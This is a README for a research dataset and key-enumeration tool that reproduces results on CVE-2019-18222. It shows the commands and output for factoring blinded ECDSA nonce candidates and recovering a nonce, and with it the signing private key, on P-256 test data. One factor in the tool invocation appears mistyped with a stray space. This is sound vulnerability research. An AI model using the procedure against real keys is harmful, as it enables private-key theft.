CVE-2019-18222: research data and tooling

This dataset and software tool are for reproducing the research results related to CVE-2019-18222. Description <code>enum</code> contains the key enumeration tool. <code>kt_candidates</code> contains the JSON for blinded nonce candidates, indexed by trial number. JSON fields: <code>kt_candidates</code>: list of nonce candidates. <code>sig_data</code> contains the JSON for ECDSA signatures, index by trial number. JSON fields: <code>p</code>: the prime the curve is defined over. (P-256 here.) <code>Gx</code>, <code>Gy</code>: Generator coordinates. <code>d</code>: Ground truth ECDSA long term key. <code>Px</code>, <code>Py</code>: Public key coordinates. <code>h</code>: SHA-256 digest to sign, encoded to the finite field. <code>k</code>: Ground truth ECDSA nonce. <code>r</code>, <code>s</code>: ECDSA signature. Build <pre><code>cd enum make clean make</code></pre> Run Start with <code>enum</code> as the working directory. <pre><code>cd enum</code></pre> Pull out a <code>kt</code> candidate, in this example index 847. <pre><code>$ jq '.kt_candidates' ../kt_candidates/kt_candidates_847.json [ "0x48ad7217d10f6c7b1a3db836d38aa3972999115f38a6b3d176fc660941aa5c882d2528ec1fc27da7610e7ee3d7dd84367c380259e0386224c2c46aa2a5eb2a0" ]</code></pre> Factor that candidate. <pre><code>$ time sage -c "print ecm.factor(0x48ad7217d10f6c7b1a3db836d38aa3972999115f38a6b3d176fc660941aa5c882d2528ec1fc27da7610e7ee3d7dd84367c380259e0386224c2c46aa2a5eb2a0)" [2, 2, 2, 2, 2, 3, 353, 193243, 1540830719, 9263081209, 103633959617085683, 151389566295160172521, 283135469779419532841, 572987990320782777757565685333349772719941819448953457732874126833] real 0m5.837s user 0m5.648s sys 0m0.214s</code></pre> Now pull out the <code>r</code> component of the ECDSA signature for that index, and convert it from hex to base 10. <pre><code>$ jq '.r' ../sig_data/sig_data_847.json "0x30e2ce20a8140177a31a66763d85f431acc9790dd050ffc22ed5d454cdfbbb67" $ python -c "print 0x30e2ce20a8140177a31a66763d85f431acc9790dd050ffc22ed5d454cdfbbb67" 22111746808803128586382711090186612204136854333384650261207856620766542674791</code></pre> Now run the <code>enum</code> tool to recover the nonce. <pre><code>$ ./enum Usage: ./enum &lt;jobs_num&gt; &lt;jobs_id&gt; &lt;target_base_10&gt; space delimited flat list of factors in base ten</code></pre> The <code>&lt;jobs_num&gt;</code> and <code>&lt;jobs_id&gt;</code> arguments are to ease parallel execution; read the source code. But for a single core, pass them as <code>1 0</code>. <pre><code>$ ./enum 1 0 22111746808803128586382711090186612204136854333384650261207856620766542674791 2 2 2 2 2 3 353 193243 1540830719 9263081209 103633959617085683 151389566295160172521 2831354697794195 32841 572987990320782777757565685333349772719941819448953457732874126833 INFO:target:30E2CE20A8140177A31A66763D85F431ACC9790DD050FFC22ED5D454CDFBBB67 INFO:found:31A52C4960857E6D2F7AD82BAC7D55CE6CC9AD13B959F069002B6A949EA6A048 INFO:tests:7879</code></pre> where <code>221..791</code> is the base-10 <code>r</code> component of the ECDSA signature, and <code>2 2 .. 572..833</code> is the full list of blinded nonce factors. In the output: <code>INFO:target:&lt;hex&gt;</code> is the hex form of base-10 target input (ECDSA <code>r</code> component). <code>INFO:found:&lt;hex&gt;</code> is the hex form of the recovered ECDSA nonce. <code>INFO:tests:&lt;num&gt;</code> is the number of tested nonce candidates (scalar multiplications). We can see this successfully recovered the nonce (hence long term ECDSA private key) correctly: <pre><code>$ jq '.k' ../sig_data/sig_data_847.json "0x31a52c4960857e6d2f7ad82bac7d55ce6cc9ad13b959f069002b6a949ea6a048"</code></pre>